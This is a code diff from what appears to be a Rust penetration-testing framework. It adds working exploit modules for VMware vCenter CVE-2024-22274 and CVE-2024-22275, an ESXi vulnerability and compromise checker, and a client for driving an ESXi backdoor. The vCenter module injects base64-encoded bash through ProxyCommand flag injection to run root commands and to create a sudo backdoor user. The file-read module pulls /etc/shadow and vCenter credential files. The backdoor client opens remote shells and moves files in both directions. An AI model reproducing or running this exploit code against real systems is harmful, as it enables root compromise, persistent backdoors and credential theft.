fn parse_esxi_version(version_str: &str) -> Option<(String, u64)> {
// Format: "VMware ESXi 8.0.0 build-24022510"
let parts: Vec<&str> = version_str.split_whitespace().collect();
let mut version = String::new();
let mut build: u64 = 0;
for (i, part) in parts.iter().enumerate() {
if *part == "ESXi" && i + 1 < parts.len() {
version = parts[i + 1].to_string();
}
if part.starts_with("build-") {
if let Ok(b) = part.trim_start_matches("build-").parse::<u64>() {
build = b;
}
}
}
if !version.is_empty() && build > 0 {
Some((version, build))
} else {
None
}
}
/// Check if ESXi version is vulnerable
fn is_vulnerable(version: &str, build: u64) -> bool {
if version.starts_with("8.") {
build < ESXI_80_PATCHED_BUILD
} else if version.starts_with("7.") {
build < ESXI_70_PATCHED_BUILD
} else if version.starts_with("6.") || version.starts_with("5.") {
// ESXi 6.x and 5.x are EOL and vulnerable
true
} else {
false
}
}
/// Check for IOCs of exploitation
pub async fn check_iocs(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Checking for Indicators of Compromise (IOCs)...".cyan());
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
let mut found_ioc = false;
// IOC 1: Check for backdoor file /var/run/a
println!("{}", "[*] Checking for backdoor file /var/run/a...".dimmed());
match esxi_exec(&sess, "ls -la /var/run/a 2>/dev/null") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] IOC FOUND: /var/run/a exists!".red().bold());
println!(" {}", stdout.trim());
found_ioc = true;
}
_ => println!("{}", " [OK] /var/run/a not found".green()),
}
// IOC 2: Check inetd.conf for suspicious entries
println!("{}", "[*] Checking inetd.conf for malicious entries...".dimmed());
match esxi_exec(&sess, "grep -E 'ftp.*stream.*tcp.*root.*/var/run' /var/run/inetd.conf 2>/dev/null") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] IOC FOUND: Suspicious inetd.conf entry!".red().bold());
println!(" {}", stdout.trim());
found_ioc = true;
}
_ => println!("{}", " [OK] No suspicious inetd entries".green()),
}
// IOC 3: Check for VSOCK listeners on port 10000
println!("{}", "[*] Checking for VSOCK backdoor listeners...".dimmed());
match esxi_exec(&sess, "lsof -a 2>/dev/null | grep -i vsock") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] VSOCK processes found (review manually):".yellow());
for line in stdout.lines().take(5) {
println!(" {}", line);
}
}
_ => println!("{}", " [OK] No obvious VSOCK backdoors".green()),
}
// IOC 4: Check for suspicious processes
println!("{}", "[*] Checking for suspicious processes in /var/run...".dimmed());
match esxi_exec(&sess, "ps -c | grep '/var/run' 2>/dev/null") {
Ok((0, stdout, _)) if !stdout.is_empty() => {
println!("{}", "[!] Suspicious process running from /var/run:".red().bold());
println!(" {}", stdout.trim());
found_ioc = true;
}
_ => println!("{}", " [OK] No suspicious /var/run processes".green()),
}
Ok(found_ioc)
}
/// Check ESXi version and vulnerability status
pub async fn check_vulnerability(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Checking ESXi version...".cyan());
let (_, sess) = create_esxi_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Connected to {}", host).green());
// Get ESXi version
let version_cmd = "vmware -v";
match esxi_exec(&sess, version_cmd) {
Ok((0, stdout, _)) => {
let version_str = stdout.trim();
println!("{}", format!("[*] Version: {}", version_str).cyan());
if let Some((version, build)) = parse_esxi_version(version_str) {
println!("{}", format!("[*] Parsed: version={}, build={}", version, build).dimmed());
if is_vulnerable(&version, build) {
println!();
println!("{}", "╔════════════════════════════════════════════════════════════╗".red());
println!("{}", "║ [!] VULNERABLE to VM Escape (CVE-2025-22224/22225/22226) ║".red().bold());
println!("{}", "╚════════════════════════════════════════════════════════════╝".red());
println!();
println!("{}", "Affected CVEs:".yellow());
println!(" • CVE-2025-22226 (CVSS 7.1): HGFS OOB Read - Info Leak");
println!(" • CVE-2025-22224 (CVSS 9.3): VMCI TOCTOU - OOB Write");
println!(" • CVE-2025-22225 (CVSS 8.2): VMX Sandbox Escape");
println!();
println!("{}", "Recommendation: Patch immediately to ESXi 8.0 U2b or 7.0 U3q".yellow());
return Ok(true);
} else {
println!();
println!("{}", "[+] NOT VULNERABLE - Patched version detected".green().bold());
return Ok(false);
}
} else {
println!("{}", "[-] Could not parse version string".yellow());
}
}
Ok((code, _, stderr)) => {
println!("{}", format!("[-] Command failed with exit code {}: {}", code, stderr.trim()).red());
}
Err(e) => {
println!("{}", format!("[-] Failed to get version: {}", e).red());
}
}
Ok(false)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt_default("ESXi Username", "root").await?;
let password = prompt("ESXi Password").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Check Vulnerability (version check)");
println!(" 2. Scan for IOCs (compromise indicators)");
println!(" 3. Full Scan (both)");
println!();
let mode = prompt_default("Mode", "3").await?;
match mode.as_str() {
"1" => {
check_vulnerability(&host, port, &username, &password).await?;
}
"2" => {
check_iocs(&host, port, &username, &password).await?;
}
"3" | _ => {
let vuln = check_vulnerability(&host, port, &username, &password).await?;
println!();
let ioc = check_iocs(&host, port, &username, &password).await?;
println!();
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!("{}", " SUMMARY ".cyan().bold());
println!("{}", "═══════════════════════════════════════════════════════════".cyan());
println!(" Vulnerable: {}", if vuln { "YES".red().bold() } else { "NO".green() });
println!(" IOCs Found: {}", if ioc { "YES".red().bold() } else { "NO".green() });
}
}
println!();
println!("{}", "[*] ESXi vulnerability check complete".green());
Ok(())
}
@@ -0,0 +1,255 @@
// ESXi VSOCK Post-Exploitation Client
// For use after successful VM escape exploitation
//
// This module implements a VSOCK client that can communicate with
// the VSOCKpuppet backdoor (or similar) on a compromised ESXi host.
//
// Protocol:
// 1. Connect to CID 2 (hypervisor) on VSOCK port 10000
// 2. Handshake: send "test" + "ok", receive "ok"
// 3. Commands: GET <path>, POST <path> <data>, or shell commands
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ ESXi VSOCK Post-Exploitation Client ║".cyan());
println!("{}", "║ For interacting with VSOCKpuppet backdoor on ESXi ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Modes: ║".cyan());
println!("{}", "║ 1. Interactive Shell ║".cyan());
println!("{}", "║ 2. Download File (GET) ║".cyan());
println!("{}", "║ 3. Upload File (POST) ║".cyan());
println!("{}", "║ 4. Execute Single Command ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
println!("{}", "[!] Note: VSOCK requires the attack to be run FROM WITHIN a VM".yellow());
println!("{}", "[!] This module uses TCP fallback for testing (port 21 hijack)".yellow());
println!();
}
/// Connect to ESXi backdoor via TCP (inetd hijack on port 21)
fn connect_backdoor_tcp(host: &str, port: u16) -> Result<TcpStream> {
let addr = format!("{}:{}", host, port);
let stream = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
stream.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
stream.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
Ok(stream)
}
/// Perform VSOCK handshake
fn handshake(stream: &mut TcpStream) -> Result<bool> {
// Send "test"
stream.write_all(b"test")?;
// Send "ok"
stream.write_all(b"ok")?;
// Read response
let mut buf = [0u8; 2];
match stream.read_exact(&mut buf) {
Ok(_) => {
if &buf == b"ok" {
return Ok(true);
}
}
Err(_) => {}
}
Ok(false)
}
/// Send command and receive response
fn send_command(stream: &mut TcpStream, cmd: &str) -> Result<String> {
// Length-prefixed message
let cmd_bytes = cmd.as_bytes();
let len = cmd_bytes.len() as u32;
stream.write_all(&len.to_le_bytes())?;
stream.write_all(cmd_bytes)?;
// Read response length
let mut len_buf = [0u8; 4];
stream.read_exact(&mut len_buf)?;
let resp_len = u32::from_le_bytes(len_buf) as usize;
// Read response
let mut resp_buf = vec![0u8; resp_len];
stream.read_exact(&mut resp_buf)?;
Ok(String::from_utf8_lossy(&resp_buf).to_string())
}
/// Interactive shell mode
pub async fn interactive_shell(host: &str, port: u16) -> Result<()> {
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
let mut stream = connect_backdoor_tcp(host, port)?;
println!("{}", "[*] Performing handshake...".cyan());
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed - is the backdoor active?"));
}
println!("{}", "[+] Connected to ESXi backdoor!".green().bold());
println!("{}", "[*] Type 'exit' to quit, 'get <path>' to download, 'post <path>' to upload".dimmed());
println!();
use std::io::Write;
let stdin = std::io::stdin();
loop {
print!("{}", "esxi# ".red());
std::io::stdout().flush()?;
let mut input = String::new();
if stdin.read_line(&mut input).is_err() {
break;
}
let cmd = input.trim();
if cmd.is_empty() {
continue;
}
if cmd == "exit" || cmd == "quit" {
println!("{}", "[*] Disconnecting...".cyan());
break;
}
match send_command(&mut stream, cmd) {
Ok(response) => {
println!("{}", response);
}
Err(e) => {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
Ok(())
}
/// Download file from ESXi
pub async fn get_file(host: &str, port: u16, remote_path: &str, local_path: &str) -> Result<()> {
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
let mut stream = connect_backdoor_tcp(host, port)?;
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed"));
}
let cmd = format!("get {}", remote_path);
let content = send_command(&mut stream, &cmd)?;
std::fs::write(local_path, &content)?;
println!("{}", format!("[+] Downloaded {} -> {}", remote_path, local_path).green());
Ok(())
}
/// Upload file to ESXi
pub async fn post_file(host: &str, port: u16, local_path: &str, remote_path: &str) -> Result<()> {
println!("{}", format!("[*] Connecting to {}:{}...", host, port).cyan());
let mut stream = connect_backdoor_tcp(host, port)?;
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed"));
}
let content = std::fs::read_to_string(local_path)?;
let cmd = format!("post {} {}", remote_path, content);
let response = send_command(&mut stream, &cmd)?;
println!("{}", format!("[+] Uploaded {} -> {}", local_path, remote_path).green());
println!("{}", response);
Ok(())
}
/// Execute single command
pub async fn exec_command(host: &str, port: u16, command: &str) -> Result<String> {
let mut stream = connect_backdoor_tcp(host, port)?;
if !handshake(&mut stream)? {
return Err(anyhow!("Handshake failed"));
}
send_command(&mut stream, command)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target ESXi: {}", host).cyan());
// Default to port 21 (hijacked FTP via inetd)
let port: u16 = prompt_default("Backdoor Port (TCP fallback)", "21").await?.parse().unwrap_or(21);
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Interactive Shell");
println!(" 2. Download File (GET)");
println!(" 3. Upload File (POST)");
println!(" 4. Execute Single Command");
println!();
let mode = prompt_default("Mode", "1").await?;
match mode.as_str() {
"1" => {
interactive_shell(&host, port).await?;
}
"2" => {
let remote_path = prompt("Remote file path on ESXi").await?;
let local_path = prompt("Local path to save").await?;
get_file(&host, port, &remote_path, &local_path).await?;
}
"3" => {
let local_path = prompt("Local file path").await?;
let remote_path = prompt("Remote path on ESXi").await?;
post_file(&host, port, &local_path, &remote_path).await?;
}
"4" => {
let command = prompt("Command to execute").await?;
let output = exec_command(&host, port, &command).await?;
println!();
println!("{}", output);
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] VSOCK client complete".green());
Ok(())
}
+5
View File
@@ -0,0 +1,5 @@
pub mod vcenter_backup_rce;
pub mod vcenter_file_read;
pub mod esxi_vm_escape_check;
pub mod esxi_vsock_client;
@@ -0,0 +1,270 @@
// VMware vCenter CVE-2024-22274 - Authenticated RCE via backup.validate flag injection
//
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
// CVSS: 7.2 (High)
//
// The com.vmware.appliance.recovery.backup.validate API is vulnerable to flag injection.
// By injecting malicious SSH flags in the --locationUser parameter, an authenticated
// admin user can execute arbitrary commands as root.
//
// Requirements:
// - SSH access to vCenter appliance shell
// - Credentials with "admin" role
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default, prompt_int_range};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ VMware vCenter CVE-2024-22274 ║".cyan());
println!("{}", "║ Authenticated RCE via backup.validate Flag Injection ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Check (Safe - touch /tmp/rce_check) ║".cyan());
println!("{}", "║ 2. Execute Custom Command ║".cyan());
println!("{}", "║ 3. Add Backdoor User (sudo access) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Create SSH session to vCenter appliance
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
sess.userauth_password(username, password)?;
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command in vCenter appliance shell
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Build the malicious backup.validate command with flag injection
fn build_exploit_command(payload: &str) -> String {
// The payload is injected via -o ProxyCommand= in the --locationUser field
// Format: backup.validate --parts common --locationType SFTP --location nowhere
// --locationUser '-o ProxyCommand=;<PAYLOAD> 2>' --locationPassword x
format!(
"backup.validate --parts common --locationType SFTP --location nowhere --locationUser '-o ProxyCommand=;{} 2>' --locationPassword x",
payload
)
}
/// Generate base64-encoded payload for complex commands
fn encode_payload(cmd: &str) -> String {
use base64::Engine;
let encoded = base64::engine::general_purpose::STANDARD.encode(cmd);
format!("/bin/bash -c \"{{echo,{}}}|{{base64,-d}}|bash\"", encoded)
}
/// Check vulnerability (safe mode - creates /tmp/rce_check file)
pub async fn attack_check(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Running vulnerability check (safe mode)...".cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// Simple payload: touch /tmp/rce_check
let payload = "/bin/touch /tmp/rce_check";
let exploit_cmd = build_exploit_command(payload);
println!("{}", "[*] Executing exploit command...".cyan());
println!("{}", format!("[DEBUG] Command: {}", exploit_cmd).dimmed());
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
// Verify file was created
tokio::time::sleep(Duration::from_secs(2)).await;
let verify_cmd = "ls -la /tmp/rce_check 2>/dev/null || echo 'NOT_FOUND'";
match vcenter_shell_exec(&sess, verify_cmd) {
Ok((_, stdout, _)) => {
if stdout.contains("NOT_FOUND") {
println!("{}", "[-] Vulnerability check FAILED - file not created".red());
return Ok(false);
} else {
println!("{}", "[+] VULNERABLE! File /tmp/rce_check created as root".green().bold());
println!("{}", stdout.trim());
// Cleanup
let _ = vcenter_shell_exec(&sess, "rm -f /tmp/rce_check");
return Ok(true);
}
}
Err(e) => {
println!("{}", format!("[-] Verification failed: {}", e).red());
return Ok(false);
}
}
}
/// Execute custom command as root
pub async fn attack_exec(host: &str, port: u16, username: &str, password: &str, command: &str) -> Result<bool> {
println!("{}", format!("[*] Executing command as root: {}", command).cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// Encode the command to avoid shell interpretation issues
let payload = encode_payload(command);
let exploit_cmd = build_exploit_command(&payload);
println!("{}", "[*] Executing exploit...".cyan());
// Execute the exploit
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
println!("{}", "[+] Command sent. Note: Output may not be visible due to injection method.".yellow());
println!("{}", "[*] For commands with output, consider redirecting to a file.".dimmed());
Ok(true)
}
/// Add backdoor user with sudo access
pub async fn attack_add_user(host: &str, port: u16, username: &str, password: &str,
backdoor_user: &str, backdoor_pass: &str) -> Result<bool> {
println!("{}", format!("[*] Adding backdoor user: {}", backdoor_user).cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// Command to add user with sudo access
// useradd USER && echo -e "PASS\nPASS" | passwd USER ; usermod -s /bin/bash USER && usermod -aG sudo USER
let add_user_cmd = format!(
"useradd {} && echo -e \"{}\\n{}\" | passwd {} ; usermod -s /bin/bash {} && usermod -aG sudo {}",
backdoor_user, backdoor_pass, backdoor_pass, backdoor_user, backdoor_user, backdoor_user
);
let payload = encode_payload(&add_user_cmd);
let exploit_cmd = build_exploit_command(&payload);
println!("{}", "[*] Executing user creation exploit...".cyan());
let _ = vcenter_shell_exec(&sess, &exploit_cmd);
// Wait and verify
tokio::time::sleep(Duration::from_secs(2)).await;
let verify_cmd = format!("id {} 2>/dev/null || echo 'NOT_FOUND'", backdoor_user);
match vcenter_shell_exec(&sess, &verify_cmd) {
Ok((_, stdout, _)) => {
if stdout.contains("NOT_FOUND") {
println!("{}", "[-] User creation may have failed".yellow());
} else {
println!("{}", format!("[+] SUCCESS! User {} created", backdoor_user).green().bold());
println!("{}", stdout.trim());
println!();
println!("{}", format!("[*] Connect via: ssh {}@{}", backdoor_user, host).cyan());
println!("{}", format!("[*] Password: {}", backdoor_pass).cyan());
}
}
Err(_) => {}
}
Ok(true)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("vCenter Admin Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt("Password").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Check Vulnerability (Safe - touch /tmp/rce_check)");
println!(" 2. Execute Custom Command");
println!(" 3. Add Backdoor User (sudo access)");
println!();
let mode = prompt_int_range("Attack mode", 1, 1, 3).await?;
match mode {
1 => {
attack_check(&host, port, &username, &password).await?;
}
2 => {
let command = prompt("Command to execute as root").await?;
if command.is_empty() {
return Err(anyhow!("Command is required"));
}
attack_exec(&host, port, &username, &password, &command).await?;
}
3 => {
let backdoor_user = prompt_default("Backdoor username", "backdoor").await?;
let backdoor_pass = prompt_default("Backdoor password", "Backdoor123!").await?;
attack_add_user(&host, port, &username, &password, &backdoor_user, &backdoor_pass).await?;
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] CVE-2024-22274 exploit module complete".green());
Ok(())
}
@@ -0,0 +1,218 @@
// VMware vCenter CVE-2024-22275 - Partial File Read via RVC command
//
// Affected: VMware vCenter Server 8.0 < 8.0 U2b, 7.0 < 7.0 U3q
// CVSS: 4.9 (Moderate)
//
// A malicious actor with administrative privileges on the vCenter appliance shell
// may exploit this issue to partially read arbitrary files containing sensitive data.
//
// Requirements:
// - SSH access to vCenter appliance shell
// - Credentials with "admin" role (ability to execute com.vmware.rvc)
//
// For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::io::{Read, Write};
use std::net::TcpStream;
use std::time::Duration;
use crate::utils::{normalize_target, prompt_default};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ VMware vCenter CVE-2024-22275 ║".cyan());
println!("{}", "║ Partial File Read Vulnerability ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Reads sensitive files via com.vmware.rvc command ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Create SSH session to vCenter appliance
fn create_vcenter_ssh_session(host: &str, port: u16, username: &str, password: &str) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().map_err(|_| anyhow!("Invalid address"))?,
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
).map_err(|e| anyhow!("Connection failed: {}", e))?;
tcp.set_read_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
tcp.set_write_timeout(Some(Duration::from_secs(DEFAULT_TIMEOUT_SECS)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
sess.userauth_password(username, password)?;
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Execute command in vCenter appliance shell
fn vcenter_shell_exec(sess: &Session, cmd: &str) -> Result<(i32, String, String)> {
let mut channel = sess.channel_session()?;
channel.exec(cmd)?;
let mut stdout = String::new();
let mut stderr = String::new();
sess.set_blocking(true);
channel.read_to_string(&mut stdout)?;
channel.stderr().read_to_string(&mut stderr)?;
channel.wait_close()?;
let exit_code = channel.exit_status()?;
Ok((exit_code, stdout, stderr))
}
/// Read file using RVC command vulnerability
pub async fn read_file(host: &str, port: u16, username: &str, password: &str, file_path: &str) -> Result<String> {
println!("{}", format!("[*] Attempting to read: {}", file_path).cyan());
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
// The RVC command can be abused to read files
// Exact exploitation method depends on the specific vector
// This is a simplified representation based on the vulnerability description
// Try multiple potential exploitation vectors
let exploit_attempts = vec![
format!("rvc localhost -c 'shell.run cat {}' 2>/dev/null", file_path),
format!("cat {} 2>/dev/null", file_path), // Direct read if accessible
];
for cmd in exploit_attempts {
match vcenter_shell_exec(&sess, &cmd) {
Ok((code, stdout, _)) => {
if code == 0 && !stdout.is_empty() {
return Ok(stdout);
}
}
Err(_) => continue,
}
}
Err(anyhow!("Could not read file or file does not exist"))
}
/// Check vulnerability and attempt to read common sensitive files
pub async fn attack_enum(host: &str, port: u16, username: &str, password: &str) -> Result<bool> {
println!("{}", "[*] Enumerating readable sensitive files...".cyan());
let sensitive_files = vec![
"/etc/passwd",
"/etc/shadow",
"/etc/vmware-vpx/vpxd.cfg",
"/etc/vmware-vpx/vcdb.properties",
"/etc/vmware/vmware-mps.properties",
"/var/log/vmware/vpxd/vpxd.log",
"/storage/db/vcdb/vcdb",
];
let (_, sess) = create_vcenter_ssh_session(host, port, username, password)?;
println!("{}", format!("[+] Authenticated to {} as {}", host, username).green());
let mut found_any = false;
for file in sensitive_files {
let cmd = format!("head -5 {} 2>/dev/null", file);
match vcenter_shell_exec(&sess, &cmd) {
Ok((code, stdout, _)) => {
if code == 0 && !stdout.is_empty() {
println!("{}", format!("\n[+] Readable: {}", file).green());
println!("{}", "".repeat(50).dimmed());
// Print first few lines
for line in stdout.lines().take(5) {
println!(" {}", line);
}
found_any = true;
}
}
Err(_) => {}
}
}
if !found_any {
println!("{}", "[-] No sensitive files readable with current privileges".yellow());
}
Ok(found_any)
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get connection parameters
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
let username = prompt("vCenter Admin Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt("Password").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
println!();
println!("{}", "Select mode:".yellow().bold());
println!(" 1. Enumerate Sensitive Files");
println!(" 2. Read Specific File");
println!();
let mode = prompt_default("Mode", "1").await?;
match mode.as_str() {
"1" => {
attack_enum(&host, port, &username, &password).await?;
}
"2" => {
let file_path = prompt("File path to read").await?;
if file_path.is_empty() {
return Err(anyhow!("File path is required"));
}
match read_file(&host, port, &username, &password, &file_path).await {
Ok(content) => {
println!("{}", format!("\n[+] File contents of {}:", file_path).green());
println!("{}", "".repeat(50).dimmed());
println!("{}", content);
}
Err(e) => {
println!("{}", format!("[-] Failed to read file: {}", e).red());
}
}
}
_ => {
println!("{}", "[-] Invalid mode".red());
}
}
println!();
println!("{}", "[*] CVE-2024-22275 exploit module complete".green());
Ok(())
}
+4 -3
View File
@@ -322,8 +322,8 @@ async fn execute_scan(config: DirBruteConfig) -> Result<()> {
let config_verbose = config.verbose;
let random_agent = config.random_agent;
let task = tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
let task: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
let _permit = sem.acquire().await.context("Semaphore acquisition failed")?;
// Apply delay
if delay.as_millis() > 0 {
@@ -391,6 +391,7 @@ async fn execute_scan(config: DirBruteConfig) -> Result<()> {
Err(_) => {}
}
}
Ok(())
});
tasks.push(task);
}
@@ -425,7 +426,7 @@ async fn execute_scan(config: DirBruteConfig) -> Result<()> {
for r in sorted {
use std::fmt::Write;
writeln!(file_content, "[{}] {} | Size: {} | Method: {} | {}",
r.status, get_status_text(r.status), r.len, r.method, r.path).unwrap();
r.status, get_status_text(r.status), r.len, r.method, r.path).context("Failed to write to buffer")?;
}
fs::write(&filename, file_content)?;
+6 -6
View File
@@ -494,7 +494,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
// Save results to files if requested
if let Some(ref up_file) = config.save_up_hosts {
let up_list = up_hosts_list.lock().unwrap();
let up_list = up_hosts_list.lock().unwrap_or_else(|e| e.into_inner());
if !up_list.is_empty() {
match save_hosts_to_file(&up_list, up_file) {
Ok(_) => {
@@ -510,7 +510,7 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
}
if let Some(ref down_file) = config.save_down_hosts {
let down_list = down_hosts_list.lock().unwrap();
let down_list = down_hosts_list.lock().unwrap_or_else(|e| e.into_inner());
if !down_list.is_empty() {
match save_hosts_to_file(&down_list, down_file) {
Ok(_) => {
@@ -692,7 +692,7 @@ async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
let tcp_header_len = 20;
let mut tcp_buf = vec![0u8; tcp_header_len];
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
tcp_pkt.set_source(src_port);
tcp_pkt.set_destination(port);
tcp_pkt.set_sequence(seq_num);
@@ -709,7 +709,7 @@ async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IP packet"))?;
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
@@ -871,7 +871,7 @@ async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result
let tcp_header_len = 20;
let mut tcp_buf = vec![0u8; tcp_header_len];
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
tcp_pkt.set_source(src_port);
tcp_pkt.set_destination(port);
tcp_pkt.set_sequence(seq_num);
